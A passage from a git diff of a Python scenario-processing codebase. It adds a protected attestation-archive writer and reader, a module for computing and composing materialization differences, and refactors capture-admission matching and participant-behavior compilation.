is_valid_run_id_label(record.reference.ref_id) + or relative != expected + or relative.parts[:3] != ("runs", record.run_id, "attestations") + or any(component in {".", ".."} for component in relative.parts) + or len(relative.parts) != 4 + ): + raise ValueError("invalid materialization archive path") + return relative + + +class RunMaterializationArchive: + """Publish admitted SDL through the run archive's protected byte boundary. + + Publication precedes the caller's durable reference commit. An identical + retry is safe; a conflicting identity is never overwritten. This is not a + transaction with an operation store and never retries materialization. + """ + + def __init__(self, output_dir: Path) -> None: + self.output_dir = Path(output_dir) + + def read(self, record: MaterializationArchiveRecord) -> MaterializationSubmission: + """Resolve only protected, bounded bytes named by a validated archive record.""" + from raes_contracts.materialization import ( + MATERIALIZATION_MAX_BYTES, + MaterializationSubmission, + require_materialization_records, + ) + + require_materialization_records((record,)) + relative = _materialization_record_path(record) + directory = os.open(self.output_dir, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW) + try: + for component in relative.parts[:-1]: + child = os.open(component, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW, dir_fd=directory) + os.close(directory) + directory = child + descriptor = os.open(relative.name, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK, dir_fd=directory) + with os.fdopen(descriptor, "rb") as handle: + info = os.fstat(handle.fileno()) + if ( + not stat.S_ISREG(info.st_mode) + or stat.S_IMODE(info.st_mode) != 0o600 + or info.st_size > MATERIALIZATION_MAX_BYTES + ): + raise ValueError("materialization archive is not a bounded protected regular file") + data = handle.read(MATERIALIZATION_MAX_BYTES + 1) + finally: + os.close(directory) + if ( + len(data) != record.artifact.size_bytes + or hashlib.sha256(data).hexdigest() != record.artifact.checksum.value + ): + raise ValueError("materialization archive bytes do not match the retained record") + return MaterializationSubmission(sdl=data.decode("utf-8")) + + def publish(self, content: str) -> MaterializationArchiveRecord: + from raes.canonical import canonical_materialized_sdl_digest + from raes.formatting import render_sdl_source + from raes.materialization import MaterializedScenario + from raes.parser import parse_sdl + from raes_contracts.contracts.materialization_attestation import MaterializationArchiveRecord + + try: + scenario = parse_sdl(content) + if not isinstance(scenario, MaterializedScenario): + raise ValueError("not a materialization description") + provenance = scenario.materialization_provenance + if not is_valid_run_id_label(provenance.run_id): + raise ValueError("unsafe run identity") + data = render_sdl_source(scenario).content.encode("utf-8") + except Exception: + raise ValueError("materialization archive requires valid bounded SDL and safe identities") from None + relative = Path("runs") / provenance.run_id / "attestations" / f"{provenance.attestation_id}.sdl" + record = MaterializationArchiveRecord.model_validate( + { + "reference": { + "ref_id": provenance.attestation_id, + "ref_digest": canonical_materialized_sdl_digest(scenario).value, + "ref_path": relative.as_posix(), + }, + "artifact": { + "artifact_id": provenance.attestation_id, + "role": "materialization-attestation", + "media_type": "application/vnd.raes.sdl+yaml", + "uri": "urn:sha256:" + hashlib.sha256(data).hexdigest(), + "checksum": {"algorithm": "sha256", "value": hashlib.sha256(data).hexdigest()}, + "size_bytes": len(data), + "created_at": provenance.recorded_at.isoformat(), + "source": provenance.producer.name, + "sensitivity": "restricted", + }, + "run_id": provenance.run_id, + "operation_id": provenance.operation_id, + } + ) + self.output_dir.mkdir(parents=True, exist_ok=True, mode=0o700) + directory = os.open(self.output_dir, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW) + try: + for component in relative.parts[:-1]: + with contextlib.suppress(FileExistsError): + os.mkdir(component, mode=0o700, dir_fd=directory) + child = os.open(component, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW, dir_fd=directory) + os.close(directory) + directory = child + _publish_immutable_bytes(directory, relative.name, data) + finally: + os.close(directory) + return record + + +def _verify_immutable_bytes(directory: int, name: str, data: bytes) -> None: + descriptor = os.open(name, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK, dir_fd=directory) + with os.fdopen(descriptor, "rb") as handle: + info = os.fstat(handle.fileno()) + if not stat.S_ISREG(info.st_mode) or stat.S_IMODE(info.st_mode) != 0o600: + raise ValueError("materialization archive artifact is not a protected regular file") + if info.st_size != len(data) or handle.read(len(data) + 1) != data: + raise ValueError("materialization archive identity already binds different bytes") + + +def _publish_immutable_bytes(directory: int, name: str, data: bytes) -> None: + temporary = f".attestation-{uuid4().hex}.tmp" + descriptor = os.open(temporary, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600, dir_fd=directory) + try: + with os.fdopen(descriptor, "wb") as handle: + handle.write(data) + handle.flush() + os.fsync(handle.fileno()) + try: + os.link(temporary, name, src_dir_fd=directory, dst_dir_fd=directory, follow_symlinks=False) + except FileExistsError: + _verify_immutable_bytes(directory, name, data) + os.fsync(directory) + _verify_immutable_bytes(directory, name, data) + finally: + os.unlink(temporary, dir_fd=directory) diff --git a/implementations/python/packages/raes_processor/capture_admission.py b/implementations/python/packages/raes_processor/capture_admission.py index 929d8ad6d..826e5d953 100644 --- a/implementations/python/packages/raes_processor/capture_admission.py +++ b/implementations/python/packages/raes_processor/capture_admission.py @@ -7,7 +7,12 @@ from raes.evidence_requirements import EvidenceRequirement from raes.scenario import ScenarioContent from raes_backend_protocols.capabilities import ObservationCapabilities, ObservationCaptureOffer -from raes_contracts.contracts import ExperimentCaptureSpecModel +from raes_contracts.capture_dimensions import CAPTURE_DIMENSIONS, project_capture_dimensions +from raes_contracts.contracts import ( + ExperimentCaptureSpecModel, + ExperimentEvidenceRequirementRelationModel, + validate_evidence_requirement_relations, +) from raes_contracts.diagnostics import Diagnostic, Severity _CHANNEL_CAPTURE_KIND = { @@ -86,23 +91,17 @@ def _sdl_capture_demand(name: str, requirement: EvidenceRequirement) -> CaptureD return CaptureDemand( demand_id=name, address=f"evidence_requirements.{name}", - output_contract=requirement.output_contract, - field_selectors=tuple(requirement.field_selectors), - artifact_roles=(requirement.artifact_role,) if requirement.artifact_role else (), - media_types=tuple(requirement.media_types), - capture_kind=_CHANNEL_CAPTURE_KIND.get(channel, ""), - source_classes=(_value(requirement.source_class),) if requirement.source_class is not None else (), - source_refs=tuple(requirement.source_refs), - scopes=(requirement.scope,) if requirement.scope else (), - scope_refs=tuple(requirement.scope_refs), - channel_kinds=(_CHANNEL_MANIFEST_KIND[channel],) if channel else (), - channel_refs=tuple(requirement.channel_refs), - window_kinds=window_kinds, - integrity_modes=(_value(requirement.integrity),), - sensitivity=_value(requirement.sensitivity), - disclosure=disclosure, - retention_policy_refs=(_value(requirement.retention),), - redaction_policy=None if redaction == "none" else redaction, + **project_capture_dimensions( + requirement, + source="sdl", + overrides={ + "capture_kind": _CHANNEL_CAPTURE_KIND.get(channel, ""), + "channel_kinds": (_CHANNEL_MANIFEST_KIND[channel],) if channel else (), + "window_kinds": window_kinds, + "disclosure": disclosure, + "redaction_policy": None if redaction == "none" else redaction, + }, + ), capture_spec_ref=requirement.capture_spec_ref, capture_requirement_ref=requirement.capture_requirement_ref, ) @@ -138,106 +137,59 @@ def compile_capture_spec_demands( CaptureDemand( demand_id=requirement.requirement_id, address=(f"capture_specs.{capture_spec.capture_spec_id}.capture_requirements.{requirement_id}"), - output_contract=requirement.output_contract, - field_selectors=tuple(requirement.field_selectors), - artifact_roles=tuple(requirement.required_artifact_roles), - media_types=tuple(requirement.expected_media_types), - capture_kind=requirement.capture_kind, - source_classes=(), - source_refs=(), - scopes=(requirement.capture_scope,), - scope_refs=(), - channel_kinds=(), - channel_refs=(requirement.channel_ref.ref_id,), - window_kinds=tuple(sorted({windows[window_ref] for window_ref in requirement.window_refs})), - integrity_modes=tuple(requirement.integrity_requirements), - sensitivity=requirement.sensitivity, - disclosure=( - "redacted" - if requirement.redaction_policy is not None or requirement.sensitivity == "redacted" - else "full" + **project_capture_dimensions( + requirement, + source="capture", + overrides={ + "channel_refs": (requirement.channel_ref.ref_id,), + "window_kinds": tuple(sorted({windows[ref] for ref in requirement.window_refs})), + "disclosure": ( + "redacted" + if requirement.redaction_policy is not None or requirement.sensitivity == "redacted" + else "full" + ), + }, ), - retention_policy_refs=( - (requirement.retention_policy,) if requirement.retention_policy is not None else () - ), - redaction_policy=requirement.redaction_policy, ) ) return tuple(demands) -def _subset(required: tuple[str, ...], supported: frozenset[str]) -> bool: - return not required or "*" in supported or set(required).issubset(supported) - - -def _offer_failures(demand: CaptureDemand, offer: ObservationCaptureOffer) -> tuple[str, ...]: - failures = [ - *_offer_quality_failures(demand, offer), - *_offer_content_failures(demand, offer), - *_offer_dimension_failures(demand, offer), - *_offer_policy_failures(demand, offer), - ] - return tuple(sorted(failures)) - - -def _offer_quality_failures(demand: CaptureDemand, offer: ObservationCaptureOffer) -> list[str]: - failures: list[str] = [] - if offer.availability != "available": - failures.append("availability-insufficient") - if offer.fidelity != "complete": - failures.append("fidelity-insufficient") - if offer.disclosure != demand.disclosure: - failures.append("disclosure-insufficient") - if offer.redaction_policy != demand.redaction_policy: - failures.append("redaction-policy-mismatch") - return failures - - -def _offer_content_failures(demand: CaptureDemand, offer: ObservationCaptureOffer) -> list[str]: - failures: list[str] = [] - if demand.output_contract and offer.output_contract != demand.output_contract: - failures.append("output-contract-mismatch") - if ( - demand.field_selectors - and "" not in offer.field_selectors - and not set(demand.field_selectors).issubset(offer.field_selectors) - ): - failures.append("field-selector-missing") - if demand.capture_kind and offer.capture_kind != demand.capture_kind: - failures.append("capture-kind-mismatch") - return failures +def compile_scoped_evidence_requirement_demands( + scenario: ScenarioContent, + capture_specs: tuple[ExperimentCaptureSpecModel, ...], + relations: tuple[ExperimentEvidenceRequirementRelationModel, ...], + *, + relation_scenario: ScenarioContent | None = None, +) -> tuple[CaptureDemand, ...]: + """Compile immutable base and scoped obligations as a conjunction. + Relationship validation resolves only the supplied scenario and capture + specifications. The two incumbent compilers remain the authorities for + their respective demand planes, so a scoped relation cannot overwrite an + authored demand or fill an unspecified backend choice. + """ -def _offer_dimension_failures(demand: CaptureDemand, offer: ObservationCaptureOffer) -> list[str]: - failures: list[str] = [] - dimensions = ( - ("artifact-role-mismatch", demand.artifact_roles, offer.artifact_roles), - ("source-class-mismatch", demand.source_classes, offer.source_classes), - ("source-ref-mismatch", demand.source_refs, offer.source_refs), - ("scope-mismatch", demand.scopes, offer.scopes), - ("channel-mismatch", demand.channel_kinds, offer.channel_kinds), - ("channel-ref-mismatch", demand.channel_refs, offer.channel_refs), - ("window-mismatch", demand.window_kinds, offer.window_kinds), - ("integrity-mismatch", demand.integrity_modes, offer.integrity_modes), - ("retention-mismatch", demand.retention_policy_refs, offer.retention_policy_refs), + supplied_specs = {f"{index}:{spec.capture_spec_id}": spec for index, spec in enumerate(capture_specs)} + validate_evidence_requirement_relations( + relations, + scenario=relation_scenario or scenario, + capture_specs=supplied_specs, ) - for failure, required, supported in dimensions: - if not _subset(required, supported): - failures.append(failure) - return failures + return (*compile_scenario_capture_demands(scenario), *compile_capture_spec_demands(capture_specs)) -def _offer_policy_failures(demand: CaptureDemand, offer: ObservationCaptureOffer) -> list[str]: - failures: list[str] = [] - if demand.scope_refs and not set(demand.scope_refs).issubset(offer.scope_refs): - failures.append("scope-ref-mismatch") - if demand.media_types and not set(demand.media_types).intersection(offer.media_types): - failures.append("media-type-mismatch") - if demand.sensitivity and offer.sensitivity != "*" and demand.sensitivity != offer.sensitivity: - failures.append("sensitivity-mismatch") - if demand.export_policy != "not-required" and demand.export_policy != offer.export_policy: - failures.append("export-policy-mismatch") - return failures +def _offer_failures(demand: CaptureDemand, offer: ObservationCaptureOffer) -> tuple[str, ...]: + return tuple( + sorted( + dimension.diagnostic + for dimension in CAPTURE_DIMENSIONS + if not dimension.matches( + dimension.required_value if dimension.required_value is not None else getattr(demand, dimension.name), + getattr(offer, dimension.name), + ) + ) + ) def _diagnostic(demand: CaptureDemand, failure: str) -> Diagnostic: @@ -282,5 +234,6 @@ def capture_admission_diagnostics( "CaptureDemand", "capture_admission_diagnostics", "compile_capture_spec_demands", + "compile_scoped_evidence_requirement_demands", "compile_scenario_capture_demands", ] diff --git a/implementations/python/packages/raes_processor/compiler/__init__.py b/implementations/python/packages/raes_processor/compiler/__init__.py index a43ae011e..ffe25a90a 100644 --- a/implementations/python/packages/raes_processor/compiler/__init__.py +++ b/implementations/python/packages/raes_processor/compiler/__init__.py @@ -6,6 +6,12 @@ external contract. """ +from .materialization_origins import materialization_differences, validate_materialization_origins from .pipeline import compile_runtime_model, compile_scenario_runtime_model -__all__ = ["compile_runtime_model", "compile_scenario_runtime_model"] +__all__ = [ + "compile_runtime_model", + "compile_scenario_runtime_model", + "materialization_differences", + "validate_materialization_origins", +] diff --git a/implementations/python/packages/raes_processor/compiler/materialization_origins.py b/implementations/python/packages/raes_processor/compiler/materialization_origins.py new file mode 100644 index 000000000..b0a4ab22f --- /dev/null +++ b/implementations/python/packages/raes_processor/compiler/materialization_origins.py @@ -0,0 +1,323 @@ +"""Value-free differences over the common SDL content and its native identities.""" + +from __future__ import annotations + +from collections.abc import Iterable, Iterator +from typing import Any, TypeAlias + +from raes.explicitness import ExplicitnessProvenance +from raes.materialization import MaterializedScenario +from raes.materialization_provenance import MaterializationOrigin +from raes.nodes import Node +from raes.runtime_inventory import runtime_inventory_collection_identity +from raes.scenario import InstantiatedScenario, ScenarioContent +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.realization_structure import ( + RealizationClosure, + RealizationCollectionProfile, + validate_realization_value, +) +from raes_contracts.runtime_value_limits import RUNTIME_SNAPSHOT_VALUE_LIMITS + +from ..semantics.realization_concerns import registered_realization_concern_descriptors + +_ABSENT = object() +_CollectionProfiles: TypeAlias = dict[tuple[str, ...], tuple[str, ...]] + + +def materialization_differences( + source: ScenarioContent, + materialized: ScenarioContent, +) -> tuple[MaterializationOrigin, ...]: + """Find changes without treating a containing authored node as an addition.""" + for value in (source, materialized): + content = {name: getattr(value, name) for name in ScenarioContent.model_fields} + if not validate_realization_value( + content, limits=RUNTIME_SNAPSHOT_VALUE_LIMITS, python_carriers=True + ).conformant: + raise ValueError("materialization comparison exceeds portable bounds") + before = source.model_dump(mode="json", exclude={"instantiation_provenance"}) + after = materialized.model_dump(mode="json", exclude={"materialization_provenance"}) + profiles = _profiles( + before["nodes"].keys() | after["nodes"].keys(), before["content"].keys() | after["content"].keys() + ) + return tuple(_differences(before, after, (), (), profiles)) + + +def _profiles(node_names: Iterable[str], content_names: Iterable[str]) -> _CollectionProfiles: + return { + ( + item.descriptor.section, + item.declaration_name, + *item.descriptor.authored_path, + ): item.descriptor.collection_identity_fields + for item in registered_realization_concern_descriptors( + declaration_names={ + "nodes": node_names, + "content": content_names, + } + ) + if item.descriptor.collection_identity_fields + } + + +def materialization_collection_profiles(content: ScenarioContent) -> tuple[RealizationCollectionProfile, ...]: + """Expose the comparison owner's native identities to semantic-scope matching.""" + profiles = _profiles(content.nodes, content.content) + closure = RealizationClosure( + posture="closed", universe="sdl-collection-members/v1", profile="recursive-realization-constraint/v1" + ) + result = [] + + def visit(value: object, path: tuple[str, ...]) -> None: + if isinstance(value, dict): + for key, child in value.items(): + visit(child, (*path, key)) + elif isinstance(value, list): + identity = _collection_identity(path, profiles) + if identity: + result.append( + RealizationCollectionProfile( + field_pointer=_pointer(path), + collection_kind="sdl-collection", + identity_fields=identity, + closure=closure, + ) + ) + for index, child in enumerate(value): + visit(child, (*path, str(index))) + + visit(content.model_dump(mode="json"), ()) + return tuple(result) + + +def compose_materialization_content( + source: ScenarioContent, preceding: ScenarioContent, local: ScenarioContent +) -> ScenarioContent: + """Compose disjoint producer-owned deltas using the comparison's native identities. + + A producer describes only its own changes from the author source. It cannot + overwrite or re-claim a preceding producer's changed leaf or collection member. + """ + from raes.prospective_content import admit_prospective_content + from raes_contracts.materialization import MATERIALIZATION_MAX_BYTES + + for content in (source, preceding, local): + materialization_differences(source, content) + values = [ + {name: value for name, value in content.model_dump(mode="json").items() if name in ScenarioContent.model_fields} + for content in (source, preceding, local) + ] + profiles = _profiles( + set().union(*(value["nodes"] for value in values)), set().union(*(value["content"] for value in values)) + ) + merged = _compose_owned(*values, (), profiles) + if not validate_realization_value(merged, limits=RUNTIME_SNAPSHOT_VALUE_LIMITS).conformant: + raise ValueError("cumulative prospective SDL exceeds portable bounds") + admitted = admit_prospective_content(merged) + if len(admitted.model_dump_json().encode("utf-8")) > MATERIALIZATION_MAX_BYTES: + raise ValueError("cumulative prospective SDL exceeds the byte limit") + return admitted + + +def _compose_owned( + base: object, preceding: object, local: object, path: tuple[str, ...], profiles: _CollectionProfiles +) -> object: + if type(local) is type(base) and local == base: + return preceding + if type(preceding) is type(base) and preceding == base: + return local + return _compose_changed_containers(base, preceding, local, path, profiles) + + +def _compose_changed_containers( + base: object, preceding: object, local: object, path: tuple[str, ...], profiles: _CollectionProfiles +) -> object: + if all(isinstance(value, dict) for value in (base, preceding, local)): + merged = {} + for key in base.keys() | preceding.keys() | local.keys(): + value = _compose_owned( + base.get(key, _ABSENT), preceding.get(key, _ABSENT), local.get(key, _ABSENT), (*path, key), profiles + ) + if value is not _ABSENT: + merged[key] = value + return merged + if all(isinstance(value, list) for value in (base, preceding, local)) and ( + identity := _collection_identity(path, profiles) + ): + return _compose_owned_members(base, preceding, local, path, profiles, identity) + raise ValueError("prospective effects overlap another producer's ownership") + + +def _compose_owned_members( + base: list[object], + preceding: list[object], + local: list[object], + path: tuple[str, ...], + profiles: _CollectionProfiles, + identity: tuple[str, ...], +) -> list[object]: + original, prior, proposed = (_indexed(value, identity) for value in (base, preceding, local)) + merged = [] + for key in dict.fromkeys((*prior, *proposed, *original)): + value = _compose_owned( + original.get(key, (0, _ABSENT))[1], + prior.get(key, (0, _ABSENT))[1], + proposed.get(key, (0, _ABSENT))[1], + (*path, str(len(merged))), + profiles, + ) + if value is not _ABSENT: + merged.append(value) + return merged + + +def materialization_node_payloads_match(name: str, described: object, observed: object) -> bool: + """Compare native node fields with shared defaults and keyed identities. + + This is a local inventory comparison, never reconstruction of source SDL + or a substitute for the runtime's corroboration and authority checks. + """ + if not validate_realization_value([described, observed], limits=RUNTIME_SNAPSHOT_VALUE_LIMITS).conformant: + return False + try: + left = Node.model_validate(described).model_dump(mode="json") + right = Node.model_validate(observed).model_dump(mode="json") + path = ("nodes", name) + return not any(_differences(left, right, path, path, _profiles({name}, set()))) + except (TypeError, ValueError): + return False + + +def validate_materialization_origins(source: InstantiatedScenario, materialized: MaterializedScenario) -> None: + """Require exact value-free coverage, rejecting missing or relabelled origins.""" + actual = {item.model_dump_json() for item in materialization_differences(source, materialized)} + claimed = {item.model_dump_json() for item in materialized.materialization_provenance.origins} + if actual != claimed: + raise ValueError("materialization origins do not exactly account for the source differences") + + +def _pointer(tokens: tuple[str, ...]) -> str: + return "".join("/" + token.replace("~", "~0").replace("/", "~1") for token in tokens) + + +def _origin(change: str, before_path: tuple[str, ...], after_path: tuple[str, ...]) -> MaterializationOrigin: + return MaterializationOrigin( + field_pointer=_pointer(before_path if change == "removed" else after_path), + source_pointer=None if change == "added" else _pointer(before_path), + change=change, + origin=ExplicitnessProvenance.BACKEND_REALIZED, + ) + + +def _collection_identity(path: tuple[str, ...], profiles: _CollectionProfiles) -> tuple[str, ...]: + identity = () + if path in profiles: + identity = profiles[path] + elif path and path[0] == "forwarding_agents": + identity = runtime_inventory_collection_identity("forwarding-agents", _pointer(path[1:])) + elif len(path) == 3 and path[0] == "nodes" and path[2] == "services": + identity = ("name",) + elif len(path) >= 4 and path[0] == "nodes" and path[2] == "runtime": + identity = runtime_inventory_collection_identity(path[3].replace("_", "-"), _pointer(path[4:])) + return identity + + +def _indexed(values: list[object], identity: tuple[str, ...]) -> dict[str, tuple[int, object]]: + result = {} + for index, value in enumerate(values): + if not isinstance(value, dict) or any(field not in value for field in identity): + raise ValueError("materialization inventory lacks its owning collection identity") + key = canonical_json_digest({field: value[field] for field in identity}) + if key in result: + raise ValueError("materialization inventory has duplicate collection identities") + result[key] = (index, value) + return result + + +def _differences( + before: object, + after: object, + before_path: tuple[str, ...], + after_path: tuple[str, ...], + profiles: _CollectionProfiles, +) -> Iterator[MaterializationOrigin]: + if isinstance(before, dict) and isinstance(after, dict): + yield from _mapping_differences(before, after, before_path, after_path, profiles) + elif isinstance(before, list) and isinstance(after, list): + yield from _sequence_differences(before, after, before_path, after_path, profiles) + elif change := _leaf_change(before, after): + yield _origin(change, before_path, after_path) + + +def _leaf_change(before: object, after: object) -> str | None: + change = None + if before is _ABSENT: + change = "added" + elif after is _ABSENT: + change = "removed" + elif type(before) is not type(after) or before != after: + change = "selected" + return change + + +def _mapping_differences( + before: dict[str, Any], + after: dict[str, Any], + before_path: tuple[str, ...], + after_path: tuple[str, ...], + profiles: _CollectionProfiles, +) -> Iterator[MaterializationOrigin]: + for key in sorted(before.keys() | after.keys()): + yield from _differences( + before.get(key, _ABSENT), + after.get(key, _ABSENT), + (*before_path, key), + (*after_path, key), + profiles, + ) + + +def _sequence_differences( + before: list[object], + after: list[object], + before_path: tuple[str, ...], + after_path: tuple[str, ...], + profiles: _CollectionProfiles, +) -> Iterator[MaterializationOrigin]: + identity = _collection_identity(after_path, profiles) + if identity: + yield from _keyed_differences( + _indexed(before, identity), _indexed(after, identity), before_path, after_path, profiles + ) + else: + for index in range(max(len(before), len(after))): + yield from _differences( + before[index] if index < len(before) else _ABSENT, + after[index] if index < len(after) else _ABSENT, + (*before_path, str(index)), + (*after_path, str(index)), + profiles, + ) + + +def _keyed_differences( + left: dict[str, tuple[int, object]], + right: dict[str, tuple[int, object]], + before_path: tuple[str, ...], + after_path: tuple[str, ...], + profiles: _CollectionProfiles, +) -> Iterator[MaterializationOrigin]: + for key in sorted(left.keys() | right.keys()): + left_index, left_value = left.get(key, (0, _ABSENT)) + right_index, right_value = right.get(key, (0, _ABSENT)) + yield from _differences( + left_value, + right_value, + (*before_path, str(left_index)), + (*after_path, str(right_index)), + profiles, + ) + + +__all__ = ["materialization_differences", "materialization_node_payloads_match", "validate_materialization_origins"] diff --git a/implementations/python/packages/raes_processor/compiler/objectives.py b/implementations/python/packages/raes_processor/compiler/objectives.py index cd8cb077e..3390f127d 100644 --- a/implementations/python/packages/raes_processor/compiler/objectives.py +++ b/implementations/python/packages/raes_processor/compiler/objectives.py @@ -20,6 +20,7 @@ _assertion_address, _event_address, _objective_address, + _participant_behavior_address, _script_address, _story_address, _workflow_address, @@ -208,8 +209,11 @@ def _compile_objectives( objectives[objective_address] = ObjectiveRuntime( address=objective_address, name=name, - actor_type="agent" if objective.agent else "entity", - actor_name=objective.agent or objective.entity, + owner_name=objective.owner or "", + assigned_participant_name=objective.assigned_participant or "", + assigned_participant_address=( + _participant_behavior_address(objective.assigned_participant) if objective.assigned_participant else "" + ), success_addresses=tuple(success_addresses), objective_dependencies=objective_dependencies, window_story_addresses=window.story_addresses, diff --git a/implementations/python/packages/raes_processor/compiler/participant_autonomous_execution.py b/implementations/python/packages/raes_processor/compiler/participant_autonomous_execution.py index 1fa9e9f3f..65a592f5b 100644 --- a/implementations/python/packages/raes_processor/compiler/participant_autonomous_execution.py +++ b/implementations/python/packages/raes_processor/compiler/participant_autonomous_execution.py @@ -20,6 +20,7 @@ _section_ref_name, ) from .alias_index import _runtime_addressable_ref_index, _runtime_addresses_for_refs +from .participant_temporal import compile_participant_temporal_bindings from .support import _address, _dump @@ -380,6 +381,14 @@ def _compile_autonomous_execution( ), target_addresses=target_addresses, execution_bindings=execution_bindings, + temporal_bindings=compile_participant_temporal_bindings(scenario, action_refs), + observation_boundary_evidence_refs=tuple( + scenario.observation_boundaries[ + _section_ref_name( + policy.observation_boundary_ref, "observation_boundaries", scenario.observation_boundaries + ) + ].evidence_refs + ), observation_boundary_address=_observation_boundary_address( _section_ref_name( policy.observation_boundary_ref, diff --git a/implementations/python/packages/raes_processor/compiler/participant_behaviors.py b/implementations/python/packages/raes_processor/compiler/participant_behaviors.py index 94c11dda9..376173acb 100644 --- a/implementations/python/packages/raes_processor/compiler/participant_behaviors.py +++ b/implementations/python/packages/raes_processor/compiler/participant_behaviors.py @@ -2,7 +2,10 @@ from collections.abc import Callable, Mapping +from raes.agents import Agent +from raes.entities import Entity, flatten_entities from raes.scenario import InstantiatedScenario +from raes.semantics.participant_behavior import select_participants from raes_contracts.domain_profiles import DomainProfileBindingModel from ..models import ( @@ -93,100 +96,126 @@ def _compile_participant_behaviors( ) -> dict[str, ParticipantBehaviorRuntime]: participant_behaviors: dict[str, ParticipantBehaviorRuntime] = {} addressable_ref_index = _runtime_addressable_ref_index(scenario) + entities = flatten_entities(scenario.entities) for name, agent in scenario.agents.items(): - action_addresses = _participant_action_addresses( + participant_behaviors[_participant_behavior_address(name)] = _compile_participant_behavior( scenario, - participant_name=name, - action_names=list(agent.actions), - diagnostics=diagnostics, - ) - observation_addresses = _participant_observation_addresses( - scenario, - participant_name=name, - boundary_names=list(agent.observation_boundaries), - diagnostics=diagnostics, + name, + agent, + addressable_ref_index, + entities, + diagnostics, ) - starting_account_refs = tuple(agent.starting_accounts) - starting_account_addresses = _account_addresses_for_refs(scenario, list(agent.starting_accounts)) - initial_knowledge_addresses = _initial_knowledge_addresses( - scenario, - agent.initial_knowledge, - ) - starting_assertion_refs = tuple(agent.starting_assertions) - starting_assertion_addresses = tuple(_assertion_address(ref) for ref in agent.starting_assertions) - authority_anchor_refs = tuple(agent.authority_anchors) - authority_anchor_addresses = _runtime_addresses_for_refs( - list(agent.authority_anchors), - addressable_ref_index=addressable_ref_index, + + return participant_behaviors + + +def _compile_participant_behavior( + scenario: InstantiatedScenario, + name: str, + agent: Agent, + addressable_ref_index: Mapping[str, str], + entities: Mapping[str, Entity], + diagnostics: list[Diagnostic], +) -> ParticipantBehaviorRuntime: + action_addresses = _participant_action_addresses( + scenario, + participant_name=name, + action_names=list(agent.actions), + diagnostics=diagnostics, + ) + observation_addresses = _participant_observation_addresses( + scenario, + participant_name=name, + boundary_names=list(agent.observation_boundaries), + diagnostics=diagnostics, + ) + interactive_access, interactive_access_addresses = _participant_interactive_access(agent, addressable_ref_index) + starting_account_refs = tuple(agent.starting_accounts) + starting_account_addresses = _account_addresses_for_refs(scenario, list(agent.starting_accounts)) + initial_knowledge_addresses = _initial_knowledge_addresses(scenario, agent.initial_knowledge) + starting_assertion_refs = tuple(agent.starting_assertions) + starting_assertion_addresses = tuple(_assertion_address(ref) for ref in agent.starting_assertions) + authority_anchor_refs = tuple(agent.authority_anchors) + authority_anchor_addresses = _runtime_addresses_for_refs( + list(agent.authority_anchors), addressable_ref_index=addressable_ref_index + ) + operating_scope_refs = tuple(agent.operating_scope) + operating_scope_addresses = _runtime_addresses_for_refs( + list(agent.operating_scope), addressable_ref_index=addressable_ref_index + ) + dependency_addresses = _dedupe( + [ + *action_addresses, + *observation_addresses, + *starting_account_addresses, + *initial_knowledge_addresses, + *starting_assertion_addresses, + *authority_anchor_addresses, + *operating_scope_addresses, + *interactive_access_addresses, + ] + ) + return ParticipantBehaviorRuntime( + address=_participant_behavior_address(name), + name=name, + participant_name=name, + affiliation_names=tuple(agent.affiliations), + role=agent.effective_role(entities) or "", + starting_account_refs=starting_account_refs, + starting_account_addresses=starting_account_addresses, + initial_knowledge_addresses=initial_knowledge_addresses, + starting_assertion_refs=starting_assertion_refs, + starting_assertion_addresses=starting_assertion_addresses, + authority_anchor_refs=authority_anchor_refs, + authority_anchor_addresses=authority_anchor_addresses, + operating_scope_refs=operating_scope_refs, + operating_scope_addresses=operating_scope_addresses, + action_contract_addresses=tuple(action_addresses), + temporally_bound_action_addresses=tuple( + _action_contract_address(action_name) + for action_name in dict.fromkeys(agent.actions) + if action_name in scenario.action_contracts + and any( + temporal.shared_time_binding is not None + for temporal in scenario.action_contracts[action_name].temporal_contracts + ) + ), + observation_boundary_addresses=tuple(observation_addresses), + interactive_access=tuple(interactive_access), + refresh_dependencies=dependency_addresses, + spec={"agent": _dump(agent), "interpretation_mode": "role-neutral-projection"}, + ) + + +def _participant_interactive_access( + agent: Agent, addressable_ref_index: Mapping[str, str] +) -> tuple[list[ParticipantInteractiveAccessRuntime], list[str]]: + interactive_access: list[ParticipantInteractiveAccessRuntime] = [] + addresses: list[str] = [] + for access_id, access in sorted(agent.interactive_access.items()): + target_addresses = _runtime_addresses_for_refs([access.target_ref], addressable_ref_index=addressable_ref_index) + account_addresses = _runtime_addresses_for_refs( + [access.account_ref] if access.account_ref else [], addressable_ref_index=addressable_ref_index ) - operating_scope_refs = tuple(agent.operating_scope) - operating_scope_addresses = _runtime_addresses_for_refs( - list(agent.operating_scope), - addressable_ref_index=addressable_ref_index, + channel = ( + access.channel + if isinstance(access.channel, DomainProfileBindingModel) + else str(getattr(access.channel, "value", access.channel)) ) - interactive_access: list[ParticipantInteractiveAccessRuntime] = [] - interactive_access_addresses: list[str] = [] - for access_id, access in sorted(agent.interactive_access.items()): - target_addresses = _runtime_addresses_for_refs( - [access.target_ref], - addressable_ref_index=addressable_ref_index, - ) - account_addresses = _runtime_addresses_for_refs( - [access.account_ref] if access.account_ref else [], - addressable_ref_index=addressable_ref_index, - ) - target_address = target_addresses[0] - account_address = account_addresses[0] if account_addresses else "" - channel = ( - access.channel - if isinstance(access.channel, DomainProfileBindingModel) - else str(getattr(access.channel, "value", access.channel)) - ) - interactive_access.append( - ParticipantInteractiveAccessRuntime( - access_id=access_id, - target_ref=access.target_ref, - target_address=target_address, - channel=channel, - account_ref=access.account_ref or "", - account_address=account_address, - ) + interactive_access.append( + ParticipantInteractiveAccessRuntime( + access_id=access_id, + target_ref=access.target_ref, + target_address=target_addresses[0], + channel=channel, + account_ref=access.account_ref or "", + account_address=account_addresses[0] if account_addresses else "", ) - interactive_access_addresses.extend(target_addresses) - interactive_access_addresses.extend(account_addresses) - dependency_addresses = _dedupe( - [ - *action_addresses, - *observation_addresses, - *starting_account_addresses, - *initial_knowledge_addresses, - *starting_assertion_addresses, 